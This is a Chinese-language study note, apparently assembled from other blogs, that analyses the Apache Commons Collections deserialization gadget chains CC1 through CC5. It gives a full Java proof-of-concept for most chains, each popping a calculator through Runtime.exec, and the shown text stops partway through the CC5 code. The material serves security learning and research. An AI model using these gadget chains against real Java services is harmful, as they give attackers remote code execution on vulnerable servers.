目录
CC链
主要是炒冷饭+搬运
CC1
TransformerMap
这篇写的很好,下面基本抄它的
Java安全入门(二)——CC链1 分析+详解_cc1链分析_ErYao7的博客-CSDN博客
配置环境
- CommonsCollections <= 3.2.1
- java < 8u71(我是用的是8u66)
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
利用
Transformer接口
Transformer是一个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出):
package org.apache.commons.collections;
public interface Transformer {
public Object transform(Object input);
}
该接口的重要实现类有:ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 。

ConstantTransformer
关键代码如下:

接收一个对象然后返回一个常量
ChainedTransformer
当传入的参数是一个数组的时候,就开始循环读取,对每个参数调用transform方法,从而构造出一条链。它赋值时会传入一个要调用方法的数组,然后将传入的方法链式调用(前一个的输出作后一个的输入)。

InvokerTransformer
我们先看一下它的transform方法,传入一个对象,然后反射调用。这里的方法值,参数类型,参数都是可控。

跟进去,可控构造方法

例子1
package Apache_Common_Collections;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo01 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
}

这个可以用来弹计算器
这里为InvokerTransformer类中transform方法传入Runtime实例,同时通过构造方法传入了exec方法以及需要的参数类型String.class和参数值calc,我们之前提到了transform方法中的反射调用,所以成功弹出计算器。
所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer类中的transform方法

假如再寻找的过程中a方法调用了transform,那么我们就要继续谁调用了a方法,最终找到readObject方法

最终是可以发现Map类中可以入手的
TransformerMap
TransformerMap中checkSetValue中调用了transform方法

再来看看TransformedMap构造函数

我们可以根据构造函数理解一下TransformedMap的功能,接收一个Map进来,分别对key和Value进行一些操作。
因为构造方法是protected保护方法
所以我们可以找到在该类中调用它的方法decorate

AbstractInputCheckedMapDecorator类
下一步我们再去看看哪个方法调用了checkSetValue方法

只有一处调用,setValue方法调用了checkSetValue

这个类是个抽象类,再去找找它的子类

我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。

再回来看看AbstractInputCheckedMapDecorator的setValue

MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法
TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了
发现这一点的话,我们就可以通过遍历Map来触发代码的执行。
例子2
package Apache_Common_Collections;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class demo02 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// 以下步骤就相当于 invokerTransformer.transform(runtime);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// 遍历Map——checkSetValue(Object value)只处理了value,所以我们只需要将runtime传入value即可
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
}
}

AnnotationInvocationHandler
我们再回来看看谁调用了setValue方法,还是不同名的方法的调用

这里看到了AnnotationInvocationHandler有调用,为什么要选用AnnotationInvocationHandler呢,因为这里是readobject,和我们的最终目标相同。
接下来我们分析AnnotationInvocationHandler类,需要注意的是他不是public,只能在所属包下访问到,所以我们通过反射获取。
先看一下构造函数

接收两个参数class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map
同样在readObject方法,我们也发现Map的遍历

写个例子帮助理解
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class demo01 {
public static void main(String[] args) throws Exception {
//演示demo,省略部分代码,通过以下代码我们就可以获得AnnotationInvocationHandler对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//创建构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//保证可以访问到
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化传参,注解和构造好的Map
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
//正常序列化与反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
完整poc
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class demo01 {
public static void main(String[] args) throws Exception {
// //正常获取runtime实例
// Runtime runtime = Runtime.getRuntime();
// //反射获取 runtime实例,并执行代码
// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(runtime,"calc");
// //InvokerTransformer方法获取runtime实例,并执行代码
// Method getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
//通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//创建构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//保证可以访问到
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化传参,注解和构造好的Map
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
利用链
Transformer接口->制作链式调用恶意方法
InvokerTransformer/任意调用
ConstantTransformer/获取对象
ChainedTransformer/封装链式
TransformedMap->套娃触发ChainedTransformer.transform
AnnotationInvocationHandler->readObject触发TransformedMap
lazymap
环境搭建
使用java7搭建环境,高版本的
sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑发生了改变
调用分析
之前分析的cc1的链使用的是TransformedMap下的checkSetValue方法,但是还有其他利用链,就比如LazyMap下的get方法调用factory.transform方法

这里是get找不到值时会触发transform。
再来看LazyMap对象的decorate方法

返回的是一个LazyMap对象,get方法中的factory是我们的transformerChain,那么我要找一个调用get方法的类。
还是AnnotationInvocationHandler类,invoke函数里面调用了get方法

那怎么调用invoke方法呢
我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中
就是下面这个:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
完整的poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
try {
//反射获取AnnotationInvocationHandler实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
//动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

利用链

CC2
环境搭建
jdk8u71
commons collections-4.0
在maven项目中的pom文件中添加4.0版本的依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
在CC2链中构造利用链用到了动态字节码编程来构造poc,需要引入javassist的依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
前置知识
Java安全之Commons Collections2分析 - nice_0e3 - 博客园 (cnblogs.com)
搬运过来
PriorityQueue
构造方法
PriorityQueue()
使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
常见方法
add(E e) 将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。
代码示例
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) {
PriorityQueue<Integer> priorityQueue = new PriorityQueue<>();
priorityQueue.add(2);
priorityQueue.add(1);
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.poll());
}
}
1
2
getDeclaredField
getDeclaredField是class超类的一个方法。该方法用来获取类中或接口中已经存在的一个字段,也就是成员变量。
该方法返回的是一个Field对象
Field
get 返回该所表示的字段的值 Field ,指定的对象上。
set 将指定对象参数上的此 Field对象表示的字段设置为指定的新值。
TransformingComparator
TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似
调用分析
PriorityQueue类中的readObject方法开始

首先是调用默认的defaultReadObject()方法然后调用readInt()方法读取优先级队列的长度,queue[i]的值是由readObject()得到,这里是在writeObject()处写入对应的内容

这里可以通过反射来设置queue[i]的值,也就是queue[i]的值是可控的,最后进入heapify()方法之中

进入heapify方法后,这里有个for循环,条件是size>>>1,也就是对size进行右移位操作,那么就是size>1的时候才会进入循环,继续跟进siftdown()

这里的x就是queue[i],跟进siftDownUsingcomparator方法。

x就是我们传入的queue[i],而这里的comparator接口调用了TransformingComparator中重写的compare方法

这里调用了this.transformer的transform方法,跟进去,input就是前面的obj1,this.iMethodName的值为传入的newTransformer

因为newTransformer方法中调用到了getTransletInstance方法

继续跟到getTransletInstance方法中,如果_name不为空(通过反射将_name属性设置为恶意类TestTemplatesImpl的类名),_class为空,则调用defineTransletClasses方法

继续跟进defineTransletClasses方法,通过loader.defineClass还原class对象,判断当前class对象是否继承了AbstractTranslet类并设置_transletIndex索引。这里必须继承类,否则_transletIndex值默认为-1

给_transletIndex赋值后,返回到getTransletInstance方法,创建_class[_transletIndex]的对象,即创建恶意类的对象,那么该类中的static代码就会执行。

写poc
创建一个恶意类,在它的构造函数里放入恶意代码
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
然后将恶意类放入TemplatesImpl的_bytecodes属性,这样到时候就可以将恶意类加载到_class属性,然后实例化恶意类,执行无参构造函数,从而执行恶意代码,·属性前面说过不能为空,不然会在getTransletInstance方法里直接返回
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
用InvokerTransformer方法调用newTransformer,再用TransformingComparator的compare方法会去调用传入参数的transform方法,而满足compare的办法就需要用到PriorityQueue来实现了。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
这里add两个1是为了满足heapify()中的(int i = (size >>> 1) - 1; i >= 0; i--),这样经过计算刚好为0,满足条件
设置queue为Object[]数组,内容为两个内置恶意代码的TemplatesImpl实例化对象。这样调用heapify方法里面的时候就会进行传参进去。
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
commons-collections2(cc2)反序列化链分析_cc2 分析_Ys3ter的博客-CSDN博客
完整poc
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
CC3
commons-collections3(cc3)反序列化链分析_Ys3ter的博客-CSDN博客
环境配置
JDK 1.7
Commons Collections 3.1
javassist
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.24.1-GA</version>
</dependency>
</dependencies>
前置知识
TrAXFilter
调用了传入参数的newTransformer()方法,这个方法在cc2中出现过,cc2中是在InvokerTransformer.transform()中通过反射调用TemplatesImpl.newTransformer()方法,在cc3里面,就可以直接使用TrxFilter来调用newTransformer()方法

InstantiateTransformer
实现了Transformer、Serializable接口,在它的transform()方法中,判断了input参数是否为Class,若为Class,通过反射实例化一个对象并返回;


利用链分析
前面的和lazymap那条链子很像,从lazymap的get方法开始分析

factory参数为ChainedTransformer的实例化对象,这里调用它的transform方法
跟进ChainedTransformer.transform(),对transformers[]数组进行循环

第一轮循环,iTransformers[0]参数值为ConstantTransformer,进入它的transform方法,返回TrAXFilter类;
第二轮循坏,iTransformers[1]参数值为InstantiateTransformer,TrAXFilter作为参数传入transform方法;
跟进它的transform方法,input参数值为TrAXFilter,iParamTypes参数值为Templates,this.iArgs为构造好的恶意TemplatesImpl实例化对象

跟进去TrAXFilter看一下

跟进newTransformer(),调用了getTransletInstance()方法;

跟进getTransletInstance()方法,参数就在里面执行

poc
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws Exception {
//使用Javassit新建一个含有static的类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("cc3exp");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
//补充实例化新建类所需的条件
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
//实例化新建类
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//调用get()中的transform方法
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);
//设置代理,触发invoke()调用get()方法
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);
InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
outputStream.writeObject(handler2);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
调用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
CC4
cc2 的前半段 + cc3 的后半段
环境搭建
java8u65
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
调用分析
这条链子的入口点和cc2一样,都是PriorityQueue的readObject

在readObject会调用heapify方法,跟进去

heapify方法会再去调用siftDown方法

在这里如果comparator不为空,还会继续调用siftDownUsingComparator方法,comparator在这里是被修饰的Transformer[]数组。前面可以使用反射进行设置。跟进

这里会调用comparator的compare方法,在前面使用到了TransformingComparator来修饰,所以调用到TransformingComparator的compare方法

在被TransformingComparator修饰前,还使用了ChainedTransformer修饰器进行修饰,在this.transformer为ChainedTransformer的实例化对象。所以这里调用的是ChainedTransformer的transform。该方法会遍历调用Transformer[]数组的transform方法。

第一次遍历调用transform方法时,因为前面Transformer[]存储的第一个是ConstantTransformer。ConstantTransformer的transform会直接返回TrAXFilter对象。

第二次调用的时候则是传入TrAXFilter调用InstantiateTransformer的transform方法。

这里的this.iParamTypes为templates,而this.iArgs为构造的恶意TemplatesImpl实例化对象。
那么这一步就是获取TrAXFilter为templates的构造方法。然后调用该构造方法实例化对象,并且传入TemplatesImpl恶意类。看看TrAXFilter的构造方法

在该方法还会调用到getTransletInstance方法。继续跟进。

到了这里会判断_class为空的话就会去调用defineTransletClasses进行赋值。跟踪一下defineTransletClasses方法查看是如何赋值的。

_bytecodes对_class进行赋值。_bytecodes为Runtime类执行命令代码的字节码。
在执行完方法后,来到下一步。



Java安全之Commons Collections4分析 - nice_0e3 - 博客园 (cnblogs.com)
poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("cc4exp");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates,new byte[][]{bytes});
Field name=templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"test");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("ser.out"));
inputStream.readObject();
}
}
利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
CC5
cc5和cc1的lazymap那条链子很像
环境配置
java8u65
Commons Collections 3.1
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
前置知识
TiedMapEntry

先看其的构造函数

这个类的构造方法需要两个参数。再看一下getValue

在getValue方法里面就会去调用到刚刚赋值的map类get方法。前面我们传入的是LazyMap对象,这时候调用get方法的话,就和前面的串联起来达成命令执行了。
再来看看tostring

tostring方法里面就会去调用到getValue方法
调用分析
我们可以用BadAttributeValueExpException的readobject方法

我们可以给val赋值为TiedMapEntry,这样就会调用TiedMapEntry的tostring方法
后面就是像前面所说那样调用getValue方法,然后是lazymap的get,基本和cc1一样
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
